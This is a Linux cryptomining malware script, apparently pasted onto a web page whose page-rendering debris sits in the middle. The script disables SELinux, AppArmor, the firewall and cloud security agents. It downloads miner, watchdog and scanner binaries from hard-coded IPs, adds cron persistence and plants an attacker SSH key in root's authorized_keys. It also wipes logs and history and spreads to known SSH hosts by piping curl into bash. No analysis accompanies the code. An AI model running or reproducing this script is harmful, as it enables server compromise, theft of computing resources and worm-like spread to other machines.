    rm -rf /var/tmp/devtools
    rm -rf /var/tmp/play.sh
    rm -rf /var/tmp/systemctI
    rm -rf /var/tmp/.java
    rm -rf /var/tmp/1.sh
    rm -rf /var/tmp/conf.n
    rm -r /var/tmp/lib
    rm -r /var/tmp/.lib
    chattr -iau /tmp/lok
    chmod +700 /tmp/lok
    rm -rf /tmp/lok
    sleep 1
    chattr -i /tmp/kdevtmpfsi
    echo 1 > /tmp/kdevtmpfsi
    chattr +i /tmp/kdevtmpfsi
    sleep 1
    chattr -i /tmp/redis2
    echo 1 > /tmp/redis2
    chattr +i /tmp/redis2
    sleep 1
    chattr -i /usr/lib/systemd/systemd-update-daily
    echo 1 > /usr/lib/systemd/systemd-update-daily
    chattr +i /usr/lib/systemd/systemd-update-daily
    #yum install -y docker.io || apt-get install docker.io;
    docker ps | grep "pocosow" | awk '{print $1}' | xargs -I % docker kill %
    docker ps | grep "gakeaws" | awk '{print $1}' | xargs -I % docker kill %
    docker ps | grep "azulu" | awk '{print $1}' | xargs -I % docker kill %
    docker ps | grep "auto" | awk '{print $1}' | xargs -I % docker kill %
    docker ps | grep "xmr" | awk '{print $1}' | xargs -I % docker kill %
    docker ps | grep "mine" | awk '{print $1}' | xargs -I % docker kill %
    docker ps | grep "monero" | awk '{print $1}' | xargs -I % docker kill %
    docker ps | grep "slowhttp" | awk '{print $1}' | xargs -I % docker kill %
    docker ps | grep "bash.shell" | awk '{print $1}' | xargs -I % docker kill %
    docker ps | grep "entrypoint.sh" | awk '{print $1}' | xargs -I % docker kill %
    docker ps | grep "/var/sbin/bash" | awk '{print $1}' | xargs -I % docker kill %
    docker images -a | grep "pocosow" | awk '{print $3}' | xargs -I % docker rmi -f %
    docker images -a | grep "gakeaws" | awk '{print $3}' | xargs -I % docker rmi -f %
    docker images -a | grep "buster-slim" | awk '{print $3}' | xargs -I % docker rmi -f %
    docker images -a | grep "hello-" | awk '{print $3}' | xargs -I % docker rmi -f %
    docker images -a | grep "azulu" | awk '{print $3}' | xargs -I % docker rmi -f %
    docker images -a | grep "registry" | awk '{print $3}' | xargs -I % docker rmi -f %
    docker images -a | grep "xmr" | awk '{print $3}' | xargs -I % docker rmi -f %
    docker images -a | grep "auto" | awk '{print $3}' | xargs -I % docker rmi -f %
    docker images -a | grep "mine" | awk '{print $3}' | xargs -I % docker rmi -f %
    docker images -a | grep "monero" | awk '{print $3}' | xargs -I % docker rmi -f %
    docker images -a | grep "slowhttp" | awk '{print $3}' | xargs -I % docker rmi -f %
    #echo SELINUX=disabled >/etc/selinux/config
    service apparmor stop
    systemctl disable apparmor
    service aliyun.service stop
    systemctl disable aliyun.service
    ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs -I % kill -9 %
    rm -rf /usr/local/aegis
    chattr -R -i /var/spool/cron
    chattr -i /etc/crontab
    crontab -r
    rm -rf /var/spool/cron/*
    }
    
    kill_sus_proc()
    {
        ps axf -o "pid"|while read procid
        do
                ls -l /proc/$procid/exe | grep /tmp
                if [ $? -ne 1 ]
                then
                        cat /proc/$procid/cmdline| grep -a -E "phpguard|newdat.sh|phpupdate|networkmanager"
                        if [ $? -ne 0 ]
                        then
                                kill -9 $procid
                        else
                                echo "don't kill"
                        fi
                fi
        done
        ps axf -o "pid %cpu" | awk '{if($2>=40.0) print $1}' | while read procid
        do
                cat /proc/$procid/cmdline| grep -a -E "phpguard|newdat.sh|phpupdate|networkmanager"
                if [ $? -ne 0 ]
                then
                        kill -9 $procid
                else
                        echo "don't kill"
                fi
        done
    }
    
    downloads()
    {
        if [ -f "/usr/bin/curl" ]
        then 
        echo $1,$2
            http_code=`curl -I -m 10 -o /dev/null -s -w %{http_code} $1`
            if [ "$http_code" -eq "200" ]
            then
                curl --connect-timeout 10 --retry 100 $1 > $2
            elif [ "$http_code" -eq "405" ]
            then
                curl --connect-timeout 10 --retry 100 $1 > $2
            else
                curl --connect-timeout 10 --retry 100 $3 > $2
            fi
        elif [ -f "/usr/bin/cdt" ]
        then
            http_code = `cdt -I -m 10 -o /dev/null -s -w %{http_code} $1`
            if [ "$http_code" -eq "200" ]
            then
                cdt --connect-timeout 10 --retry 100 $1 > $2
            elif [ "$http_code" -eq "405" ]
            then
                cdt --connect-timeout 10 --retry 100 $1 > $2
            else
                cdt --connect-timeout 10 --retry 100 $3 > $2
            fi
        elif [ -f "/usr/bin/wget" ]
        then
            wget --timeout=10 --tries=100 -O $2 $1
            if [ $? -ne 0 ]
        then
            wget --timeout=10 --tries=100 -O $2 $3
            fi
        elif [ -f "/usr/bin/wdt" ]
        then
            wdt --timeout=10 --tries=100 -O $2 $1
            if [ $? -eq 0 ]
            then
                wdt --timeout=10 --tries=100 -O $2 $3
            fi
        fi
    }
    
    kill_miner_proc
    kill_sus_proc
    
    unlock_cron()
    {
        chattr -R -i /var/spool/cron
        chattr -i /etc/crontab
    }
    
    lock_cron()
    {
        chattr -R +i /var/spool/cron
        chattr +i /etc/crontab
    }
    
    
    if [ -f "$rtdir" ]
    then
            echo "i am root"
            echo "goto 1" >> /etc/phpupdates
            chattr -i /etc/phpupdate*
            chattr -i /etc/config.json*
            chattr -i /etc/newdat.sh*
            chattr -i /root/.ssh/authorized_keys*
            chattr -i /etc/networkmanager
        if [ ! -f "/usr/bin/crontab" ]
            then 
                unlock_cron
                echo "*/30 * * * * sh /etc/newdat.sh >/dev/null 2>&1" >> ${crondir}
                lock_cron
            else
                unlock_cron
                [[ $cont =~ "newdat.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /etc/newdat.sh >/dev/null 2>&1") | crontab -
                lock_cron
        fi
            chmod 700 /root/.ssh/
            echo >> /root/.ssh/authorized_keys
            chmod 600 root/.ssh/authorized_keys
            echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWX root@u17" >> /root/.ssh/authorized_keys
            
        
            cfg="/etc/config.json"
            file="/etc/phpupdate"
    
        if [-f "/etc/config.json" ]
        then
            filesize_config=`ls -l /etc/config.json | awk '{ print $5 }'`
            if [ "$filesize_config" -ne "$config_size" ]    
            then
                pkill -f phpupdate
                rm /etc/config.json
                downloads $config_url /etc/config.json $config_url_backup
            else
                echo "no need download"
            fi
        else
            downloads $config_url /etc/config.json $config_url_backup
        fi
        
        if [ -f "/etc/phpupdate" ]
        then
                filesize1=`ls -l /etc/phpupdate | awk '{ print $5 }'`
                if [ "$filesize1" -ne "$miner_size" ] 
                then
                    pkill -f phpupdate
                    rm /etc/phpupdate
                    downloads $miner_url /etc/phpupdate $miner_url_backup
                else
                    echo "not need download"
                fi
        else
                downloads $miner_url /etc/phpupdate $miner_url_backup
        fi
        
        if [ -f "/etc/phpguard" ]
        then
                filesize1=`ls -l /etc/phpguard | awk '{ print $5 }'`
                if [ "$filesize1" -ne "$watchdog_size" ] 
                then
                    pkill -f phpguard
                    rm /etc/phpguard
                    downloads $watchdog_url /etc/phpguard $watchdog_url_backup
                else
                    echo "not need download"
                fi
        else
                downloads $watchdog_url /etc/phpguard $watchdog_url_backup
        fi
    
        downloads $sh_url /etc/newdat.sh $sh_url_backup
    
        if [ -f "/etc/networkmanager" ]
        then
                filesize2=`ls -l /etc/networkmanager | awk '{ print $5 }'`
                if [ "$filesize2" -ne "$scan_size" ] 
                then
                    pkill -f networkmanager
                    rm /etc/networkmanager
                    downloads  $scan_url /etc/networkmanager $scan_url_backup
                else
                    echo "not need download"
                fi
        else
                downloads $scan_url /etc/networkmanager $scan_url_backup
        fi
    
        chmod 777 /etc/phpupdate
        ps -fe|grep phpupdate |grep -v grep
        if [ $? -ne 0 ]
        then
                    cd /etc
                    echo "not root runing"
                    sleep 5s
                    ./phpupdate &
        else
                    echo "root runing....."
        fi
        chmod 777 /etc/networkmanager
        ps -fe|grep networkmanager |grep -v grep
        if [ $? -ne 0 ]
        then
                    cd /etc
                    echo "not roots runing"
                    sleep 5s
                    nice ./networkmanager 15 &
        else
                    echo "roots runing....."
        fi
        chmod 777 /etc/phpguard
        ps -fe|grep phpguard |grep -v grep
            if [ $? -ne 0 ]
                then
                    echo "not tmps runing"
                    cd /etc
                    chmod 777 phpguard
                    sleep 5s
                    ./phpguard &
                else
                    echo "roots runing....."
            fi
    
    
        chmod 777 /etc/phpupdate
        chattr +i /etc/phpupdate
        chmod 777 /etc/networkmanager
        chattr +i /etc/networkmanager
        chmod 777 /etc/config.json
        chattr +i /etc/config.json
        chmod 777 /etc/newdat.sh
        chattr +i /etc/newdat.sh
        chmod 777 /root/.ssh/authorized_keys
        chattr +i /root/.ssh/authorized_keys
    else
        echo "goto 1" > /tmp/phpupdates
        chattr -i /tmp/phpupdate*
        chattr -i /tmp/networkmanager
        chattr -i /tmp/config.json*
        chattr -i /tmp/newdat.sh*
            
        if [ ! -f "/usr/bin/crontab" ]
        then
                unlock_cron
                echo "*/30 * * * * sh /tmp/newdat.sh >/dev/null 2>&1" >> ${crondir}
                lock_cron
        else
                unlock_cron
                [[ $cont =~ "newdat.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /tmp/newdat.sh >/dev/null 2>&1") | crontab -
                lock_cron
        fi
    
        if [ -f "/tmp/config.json" ]
        then
            filesize1=`ls -l /tmp/config.json | awk '{ print $5 }'`
            if [ "$filesize1" -ne "$config_size" ]
            then
                pkill -f phpupdate
                rm /tmp/config.json
                downloads  $config_url /tmp/config.json $config_url_backup
            else
                echo "no need download"
            fi
        else
            downloads $config_url /tmp/config.json $config_url_backup
        fi
    
        if [ -f "/tmp/phpupdate" ]
        then    
            filesize1=`ls -l /tmp/phpupdate | awk '{ print $5 }'`
            if [ "$filesize1" -ne "$miner_size" ] 
            then
                    pkill -f phpupdate
                    rm /tmp/phpupdate
                    downloads $miner_url /tmp/phpupdate $miner_url_backup
            else
                    echo "no need download"
            fi
        else
                downloads $miner_url /tmp/phpupdate $miner_url_backup
        fi
    
        if [ -f "/tmp/phpguard" ]
        then
                filesize1=`ls -l /tmp/phpguard | awk '{ print $5 }'`
                if [ "$filesize1" -ne "$watchdog_size" ] 
                then
                    pkill -f phpguard
                    rm /tmp/phpguard
                    downloads $watchdog_url /tmp/phpguard $watchdog_url_backup
                else
                    echo "not need download"
                fi
        else
                downloads $watchdog_url /tmp/phpguard $watchdog_url_backup
        fi
    
        echo "i am here"
        downloads $sh_url /tmp/newdat.sh $sh_url_backup
    
        if [ -f "/tmp/networkmanager" ]
        then 
            filesize2=`ls -l /tmp/networkmanager | awk '{ print $5 }'`
            if [ "$filesize2" -ne "$scan_size" ]  
            then
                    pkill -f networkmanager
                    rm /tmp/networkmanager
                    downloads $scan_url /tmp/networkmanager $scan_url_backup
            else
                    echo "no need download"
            fi
        else
                downloads $scan_url /tmp/networkmanager $scan_url_backup
        fi
    
        ps -fe|grep phpupdate |grep -v grep
            if [ $? -ne 0 ]
                then
                    echo "not tmp runing"
                    cd /tmp
                    chmod 777 phpupdate
                    sleep 5s
                    ./phpupdate &
                else
                    echo "tmp runing....."
            fi
        ps -fe|grep networkmanager |grep -v grep
            if [ $? -ne 0 ]
                then
                    echo "not tmps runing"
                    cd /tmp
                    chmod 777 networkmanager
                    sleep 5s
                    nice ./networkmanager 15 &
                else
                    echo "tmps runing....."
            fi
    
        ps -fe|grep phpguard |grep -v grep
            if [ $? -ne 0 ]
                then
                    echo "not tmps runing"
                    cd /tmp
                    chmod 777 phpguard
                    sleep 5s
                    ./phpguard &
                else
                    echo "tmps runing....."
            fi
    
        chmod 777 /tmp/phpupdate
        chattr +i /tmp/phpupdate
        chmod 777 /tmp/networkmanager
        chattr +i /tmp/networkmanager
        chmod 777 /tmp/phpguard
        chattr +i /tmp/phpguard
        chmod 777 /tmp/newdat.sh
        chattr +i /tmp/newdat.sh
        chmod 777 /tmp/config.json
        chattr +i /tmp/config.json
            
    fi
    
    iptables -F
    iptables -X
    iptables -A OUTPUT -p tcp --dport 3333 -j DROP
    iptables -A OUTPUT -p tcp --dport 5555 -j DROP
    iptables -A OUTPUT -p tcp --dport 7777 -j DROP
    iptables -A OUTPUT -p tcp --dport 9999 -j DROP
    service iptables reload
    ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
    history -c
    echo > /var/spool/mail/root
    echo > /var/log/wtmp
    echo > /var/log/secure
    echo > /root/.bash_history
    
    yum install -y bash 2>/dev/null
    apt install -y bash 2>/dev/null
    apt-get install -y bash 2>/dev/null
    if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
      for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'curl -o-  http://45.9.148.37/cf67356a3333e6999999999/is.sh | bash >/dev/null 2>&1 &' & done
    fi
    if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
      for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'cdt -o-  http://45.9.148.37/cf67356a3333e6999999999/is.sh | bash >/dev/null 2>&1 &' & done
    fi
    
    #$bbdir -fsSL http://185.247.117.64/cf67356/bd.sh | bash
    #$bbdira -fsSL http://185.247.117.64/cf67356/bd.sh | bash
    
    $bbdir -fsSL http://45.9.148.37/cf67356a3333e6999999999/is.sh | bash
    $bbdira -fsSL http://45.9.148.37/cf67356a3333e6999999999/is.sh | bash
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116
    • 117
    • 118
    • 119
    • 120
    • 121
    • 122
    • 123
    • 124
    • 125
    • 126
    • 127
    • 128
    • 129
    • 130
    • 131
    • 132
    • 133
    • 134
    • 135
    • 136
    • 137
    • 138
    • 139
    • 140
    • 141
    • 142
    • 143
    • 144
    • 145
    • 146
    • 147
    • 148
    • 149
    • 150
    • 151
    • 152
    • 153
    • 154
    • 155
    • 156
    • 157
    • 158
    • 159
    • 160
    • 161
    • 162
    • 163
    • 164
    • 165
    • 166
    • 167
    • 168
    • 169
    • 170
    • 171
    • 172
    • 173
    • 174
    • 175
    • 176
    • 177
    • 178
    • 179
    • 180
    • 181
    • 182
    • 183
    • 184
    • 185
    • 186
    • 187
    • 188
    • 189
    • 190
    • 191
    • 192
    • 193
    • 194
    • 195
    • 196
    • 197
    • 198
    • 199
    • 200
    • 201
    • 202
    • 203
    • 204
    • 205
    • 206
    • 207
    • 208
    • 209
    • 210
    • 211
    • 212
    • 213
    • 214
    • 215
    • 216
    • 217
    • 218
    • 219
    • 220
    • 221
    • 222
    • 223
    • 224
    • 225
    • 226
    • 227
    • 228
    • 229
    • 230
    • 231
    • 232
    • 233
    • 234
    • 235
    • 236
    • 237
    • 238
    • 239
    • 240
    • 241
    • 242
    • 243
    • 244
    • 245
    • 246
    • 247
    • 248
    • 249
    • 250
    • 251
    • 252
    • 253
    • 254
    • 255
    • 256
    • 257
    • 258
    • 259
    • 260
    • 261
    • 262
    • 263
    • 264
    • 265
    • 266
    • 267
    • 268
    • 269
    • 270
    • 271
    • 272
    • 273
    • 274
    • 275
    • 276
    • 277
    • 278
    • 279
    • 280
    • 281
    • 282
    • 283
    • 284
    • 285
    • 286
    • 287
    • 288
    • 289
    • 290
    • 291
    • 292
    • 293
    • 294
    • 295
    • 296
    • 297
    • 298
    • 299
    • 300
    • 301
    • 302
    • 303
    • 304
    • 305
    • 306
    • 307
    • 308
    • 309
    • 310
    • 311
    • 312
    • 313
    • 314
    • 315
    • 316
    • 317
    • 318
    • 319
    • 320
    • 321
    • 322
    • 323
    • 324
    • 325
    • 326
    • 327
    • 328
    • 329
    • 330
    • 331
    • 332
    • 333
    • 334
    • 335
    • 336
    • 337
    • 338
    • 339
    • 340
    • 341
    • 342
    • 343
    • 344
    • 345
    • 346
    • 347
    • 348
    • 349
    • 350
    • 351
    • 352
    • 353
    • 354
    • 355
    • 356
    • 357
    • 358
    • 359
    • 360
    • 361
    • 362
    • 363
    • 364
    • 365
    • 366
    • 367
    • 368
    • 369
    • 370
    • 371
    • 372
    • 373
    • 374
    • 375
    • 376
    • 377
    • 378
    • 379
    • 380
    • 381
    • 382
    • 383
    • 384
    • 385
    • 386
    • 387
    • 388
    • 389
    • 390
    • 391
    • 392
    • 393
    • 394
    • 395
    • 396
    • 397
    • 398
    • 399
    • 400
    • 401
    • 402
    • 403
    • 404
    • 405
    • 406
    • 407
    • 408
    • 409
    • 410
    • 411
    • 412
    • 413
    • 414
    • 415
    • 416
    • 417
    • 418
    • 419
    • 420
    • 421
    • 422
    • 423
    • 424
    • 425
    • 426
    • 427
    • 428
    • 429
    • 430
    • 431
    • 432
    • 433
    • 434
    • 435
    • 436
    • 437
    • 438
    • 439
    • 440
    • 441
    • 442
    • 443
    • 444
    • 445
    • 446
    • 447
    • 448
    • 449
    • 450
    • 451
    • 452
    • 453
    • 454
    • 455
    • 456
    • 457
    • 458
    • 459
    • 460
    • 461
    • 462
    • 463
    • 464
    • 465
    • 466
    • 467
    • 468
    • 469
    • 470
    • 471
    • 472
    • 473
    • 474
    • 475
    • 476
    • 477
    • 478
    • 479
    • 480
    • 481
    • 482
    • 483
    • 484
    • 485
    • 486
    • 487
    • 488
    • 489
    • 490
    • 491
    • 492
    • 493
    • 494
    • 495
    • 496
    • 497
    • 498
    • 499
    • 500
    • 501
    • 502
    • 503
    • 504
    • 505
    • 506
    • 507
    • 508
    • 509
    • 510
    • 511
    • 512
    • 513
    • 514
    • 515
    • 516
    • 517
    • 518
    • 519
    • 520
    • 521
    • 522
    • 523
    • 524
    • 525
    • 526
    • 527
    • 528
    • 529
    • 530
    • 531
    • 532
    • 533
    • 534
    • 535
    • 536
    • 537
    • 538
    • 539
    • 540
    • 541
    • 542
    • 543
    • 544
    • 545
    • 546
    • 547
    • 548
    • 549
    • 550
    • 551
    • 552
    • 553
    • 554
    • 555
    • 556
    • 557
    • 558
    • 559
    • 560
    • 561
    • 562
    • 563
    • 564
    • 565
    • 566
    • 567
    • 568
    • 569
    • 570
    • 571
    • 572
    • 573
    • 574
    • 575
    • 576
    • 577
    • 578
    • 579
    • 580
    • 581
    • 582
    • 583
    • 584
    • 585
    • 586
    • 587
    • 588
    • 589
    • 590
    • 591
    • 592
    • 593
    • 594
    • 595
    • 596
    • 597
    • 598
    • 599
    • 600
    • 601
    • 602
    • 603
    • 604
    • 605
    • 606
    • 607
    • 608
    • 609
    • 610
    • 611
    • 612
    • 613
    • 614
    • 615
    • 616
    • 617
    • 618
    • 619
    • 620
    • 621
    • 622
    • 623
    • 624
    • 625
    • 626
    • 627
    • 628
    • 629
    • 630
    • 631
    • 632
    • 633
    • 634
    • 635
    • 636
    • 637
    • 638
    • 639
    • 640
    • 641
    • 642
    • 643
    • 644
    • 645
    • 646
    • 647
    • 648
    • 649
    • 650
    • 651
    • 652
    • 653
    • 654
    • 655
    • 656
    • 657
    • 658
    • 659
    • 660
    • 661
    • 662
    • 663
    • 664
    • 665
    • 666
    • 667
    • 668
    • 669
    • 670
    • 671
    • 672
    • 673
    • 674
    • 675
    • 676
    • 677
    • 678
    • 679
    • 680
    • 681
    • 682
    • 683
    • 684
    • 685
    • 686
    • 687
    • 688
    • 689
    • 690
    • 691
    • 692
    • 693
    • 694
    • 695
    • 696
    • 697
    • 698
    • 699
    • 700
    • 701
    • 702
    • 703
    • 704
    • 705
    • 706
    • 707
    • 708
    • 709
    • 710
    • 711
    • 712
    • 713
    • 714
    • 715
    • 716
    • 717
    • 718
    • 719
    • 720
    • 721
    • 722
    • 723
    • 724
    • 725
    • 726
    • 727
    • 728
    • 729
    • 730
    • 731
    • 732
    • 733
    • 734
    • 735
    • 736
    • 737
    • 738
    • 739
    • 740
    • 741
    • 742
    • 743
    • 744
    • 745
    • 746
    • 747
    • 748
    • 749
    • 750
    • 751
    • 752
    • 753
    • 754
    • 755
    • 756
    • 757
    • 758
    • 759
    • 760
    • 761
    • 762
    • 763
    • 764
    • 765
    • 766
    • 767
    • 768
    • 769
    • 770
    • 771
    • 772
    • 773
    • 774
    • 775
    • 776
    • 777
    • 778
    • 779
    • 780
    • 781
    • 782
    • 783
    • 784
    • 785
    • 786
    • 787
    • 788
    • 789
    • 790
    • 791
    • 792
    • 793
    • 794
    • 795
    • 796
    • 797
    • 798
    • 799
    • 800
    • 801
    • 802
    • 803
    • 804
    • 805
    • 806
    • 807
    • 808
    • 809
    • 810
    • 811
    • 812
    • 813
    • 814
    • 815
    • 816
    • 817
    • 818
    • 819
    • 820
    • 821
    • 822
    • 823
    • 824
    • 825
    • 826
    • 827
    • 828
    • 829
    • 830
    • 831
    • 832
    • 833
    • 834
    • 835
    • 836
    • 837
    • 838
    • 839
    • 840
    • 841
    • 842
    • 843
    • 844
    • 845
    • 846
    • 847
    • 848
    • 849
    • 850
    • 851
    • 852
    • 853
    • 854
    • 855
    • 856
    • 857
    • 858
    • 859
    • 860
    • 861
    • 862
    • 863
    • 864
    • 865
    • 866
    • 867
    • 868
    • 869
    • 870
    • 871
    • 872
    • 873
    • 874
    • 875
    • 876
    • 877
    • 878
    • 879
    • 880
    • 881
    • 882
    • 883
    • 884
    • 885
    • 886
    • 887
    • 888
    • 889
    • 890
    • 891
    • 892
    • 893
    • 894
    • 895
    • 896
    • 897
    • 898
    • 899
    • 900
    • 901
    • 902
    • 903
    • 904
    • 905
    • 906
    • 907
    • 908
    • 909
    • 910
    • 911
    • 912
    • 913
    • 914
    • 915
    • 916
    • 917
    • 918
    • 919
    • 920
    • 921
    • 922
    • 923
    • 924
    • 925
    • 926
    • 927
    • 928
    • 929
    • 930
    • 931
    • 932
    • 933
    • 934
    • 935
    • 936
    • 937
    • 938
    • 939
    • 940
    • 941
    • 942
    • 943

    setenforce 0 2>dev/null
    echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
    sync && echo 3 >/proc/sys/vm/drop_caches
    crondir=‘/var/spool/cron/’“$USER”
    cont=cat ${crondir}
    ssht=cat /root/.ssh/authorized_keys
    echo 1 > /etc/phpupdates
    rtdir=“/etc/phpupdates”
    bbdir=“/usr/bin/curl”
    bbdira=“/usr/bin/cdt”
    ccdir=“/usr/bin/wget”
    ccdira=“/usr/bin/wdt”
    mv /usr/bin/curl /usr/bin/url
    mv /usr/bin/url /usr/bin/cdt
    mv /usr/bin/cdl /usr/bin/cdt
    mv /usr/bin/wget /usr/bin/get
    mv /usr/bin/get /usr/bin/wdt
    mv /usr/bin/wdl /usr/bin/wdt
    ulimit -n 65535
    rm -rf /var/log/syslog
    chattr -iua /tmp/
    chattr -iua /var/tmp/
    ufw disable
    iptables -F
    #sudo sysctl kernel.nmi_watchdog=0
    echo ‘0’ >/proc/sys/kernel/nmi_watchdog
    echo ‘kernel.nmi_watchdog=0’ >>/etc/sysctl.conf
    userdel akay
    userdel vfinder
    rm -rf /tmp/addres*
    rm -rf /tmp/walle*
    rm -rf /tmp/keys
    if ps aux | grep -i ‘[a]liyun’; then
    $bbdir http://update.aegis.aliyun.com/download/uninstall.sh | bash
    $bbdir http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
    $bbdira http://update.aegis.aliyun.com/download/uninstall.sh | bash
    $bbdira http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
    pkill aliyun-service
    rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
    rm -rf /usr/local/aegis*
    systemctl stop aliyun.service
    systemctl disable aliyun.service
    service bcm-agent stop
    yum remove bcm-agent -y
    apt-get remove bcm-agent -y
    elif ps aux | grep -i ‘[y]unjing’; then
    /usr/local/qcloud/stargate/admin/uninstall.sh
    /usr/local/qcloud/YunJing/uninst.sh
    /usr/local/qcloud/monitor/barad/admin/uninstall.sh
    fi

    miner_url=“http://185.247.117.64/cf67356/phpupdate”
    miner_url_backup=“http://45.9.148.37/cf67356a3333e6999999999/phpupdate”
    miner_size=“1102480”
    sh_url=“http://185.247.117.64/cf67356/newdat.sh”
    sh_url_backup=“http://45.9.148.37/cf67356a3333e6999999999/newdat.sh”
    config_url=“http://185.247.117.64/cf67356/config.json”
    config_url_backup=“http://45.9.148.37/cf67356a3333e6999999999/config.json”
    config_size=“3356”
    scan_url=“http://185.247.117.64/cf67356/networkmanager”
    scan_url_backup=“http://45.9.148.37/cf67356a3333e6999999999/networkmanager”
    scan_size=“1919056”
    watchdog_url=“http://185.247.117.64/cf67356/phpguard”
    watchdog_url_backup=“http://45.9.148.37/cf67356a3333e6999999999/phpguard”
    watchdog_size=“1472136”

    #KaTeX parse error: Expected 'EOF', got '#' at position 66: …hp 2>/dev/null #̲bbdir -fsSL http://45.9.148.37/cf67356a3333e6999999999/iplog.php 2>/dev/null
    #KaTeX parse error: Expected 'EOF', got '#' at position 74: …ll 2>/dev/null #̲ccdir http://45.9.148.37/cf67356a3333e6999999999/iplog.php -O /tmp/.null 2>/dev/null
    rm -f /tmp/.null 2>/dev/null

    echo 128 > /proc/sys/vm/nr_hugepages
    sysctl -w vm.nr_hugepages=128

    kill_miner_proc()
    {
    netstat -anp | grep 185.71.65.238 | awk ‘{print $7}’ | awk -F’[/]’ ‘{print $1}’ | xargs -I % kill -9 %
    netstat -anp | grep 140.82.52.87 | awk ‘{print $7}’ | awk -F’[/]’ ‘{print $1}’ | xargs -I % kill -9 %
    netstat -anp | grep :443 | awk ‘{print $7}’ | awk -F’[/]’ ‘{print $1}’ | grep -v “-” | xargs -I % kill -9 %
    netstat -anp | grep :23 | awk ‘{print $7}’ | awk -F’[/]’ ‘{print $1}’ | grep -v “-” | xargs -I % kill -9 %
    netstat -anp | grep :443 | awk ‘{print $7}’ | awk -F’[/]’ ‘{print $1}’ | grep -v “-” | xargs -I % kill -9 %
    netstat -anp | grep :143 | awk ‘{print $7}’ | awk -F’[/]’ ‘{print $1}’ | grep -v “-” | xargs -I % kill -9 %
    netstat -anp | grep :2222 | awk ‘{print $7}’ | awk -F’[/]’ ‘{print $1}’ | grep -v “-” | xargs -I % kill -9 %
    netstat -anp | grep :3333 | awk ‘{print $7}’ | awk -F’[/]’ ‘{print $1}’ | grep -v “-” | xargs -I % kill -9 %
    netstat -anp | grep :3389 | awk ‘{print $7}’ | awk -F’[/]’ ‘{print $1}’ | grep -v “-” | xargs -I % kill -9 %
    netstat -anp | grep :4444 | awk ‘{print $7}’ | awk -F’[/]’ ‘{print $1}’ | grep -v “-” | xargs -I % kill -9 %
    netstat -anp | grep :5555 | awk ‘{print $7}’ | awk -F’[/]’ ‘{print $1}’ | grep -v “-” | xargs -I % kill -9 %
    netstat -anp | grep :6666 | awk ‘{print $7}’ | awk -F’[/]’ ‘{print $1}’ | grep -v “-” | xargs -I % kill -9 %
    netstat -anp | grep :6665 | awk ‘{print $7}’ | awk -F’[/]’ ‘{print $1}’ | grep -v “-” | xargs -I % kill -9 %
    netstat -anp | grep :6667 | awk ‘{print $7}’ | awk -F’[/]’ ‘{print $1}’ | grep -v “-” | xargs -I % kill -9 %
    netstat -anp | grep :7777 | awk ‘{print $7}’ | awk -F’[/]’ ‘{print $1}’ | grep -v “-” | xargs -I % kill -9 %
    netstat -anp | grep :8444 | awk ‘{print $7}’ | awk -F’[/]’ ‘{print $1}’ | grep -v “-” | xargs -I % kill -9 %
    netstat -anp | grep :3347 | awk ‘{print $7}’ | awk -F’[/]’ ‘{print $1}’ | grep -v “-” | xargs -I % kill -9 %
    netstat -anp | grep :14433 | awk ‘{print $7}’ | awk -F’[/]’ ‘{print $1}’ | grep -v “-” | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘:3333’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘:5555’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘kworker -c’ | awk ‘{print $2}’ | xargs -I % kill -9 %
